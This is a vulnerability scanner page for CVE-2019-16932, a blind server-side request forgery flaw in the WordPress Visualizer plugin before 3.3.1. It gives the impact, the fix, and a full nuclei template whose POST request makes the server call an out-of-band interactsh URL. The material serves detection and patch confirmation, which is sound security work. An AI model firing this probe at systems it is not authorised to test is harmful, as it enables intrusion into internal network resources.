Visualizer <3.3.1 - Blind Server-Side Request Forgery

criticalseverity

10CVSS score

39%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.

Impact

An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.

Fix

Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.

How to confirm it

Send: GET /wp-content/plugins/visualizer/readme.txt
Positive when: contains "Visualizer" and "Tested up to:"
Send: POST {{BaseURL}}/wp-json/visualizer/v1/upload-data
Positive when: contains in interactsh_protocol "http" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2019-16932 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16932

info:
  name: Visualizer <3.3.1 - Blind Server-Side Request Forgery
  author: akincibor
  severity: critical
  description: |
    Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.
  remediation: |
    Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9892
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16932
    - https://wordpress.org/plugins/visualizer/#developers
    - https://wpvulndb.com/vulnerabilities/9892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2019-16932
    cwe-id: CWE-918
    epss-score: 0.38994
    epss-percentile: 0.98604
    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: themeisle
    product: visualizer
    framework: wordpress
  tags: cve,cve2019,wp-plugin,ssrf,wordpress,oast,unauth,wpscan,intrusive,themeisle,xss,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Visualizer'
          - 'Tested up to:'
        condition: and

  - method: POST
    path:
      - "{{BaseURL}}/wp-json/visualizer/v1/upload-data"

    body: '{\"url\":\"http://{{interactsh-url}}\"}'

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        name: http
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from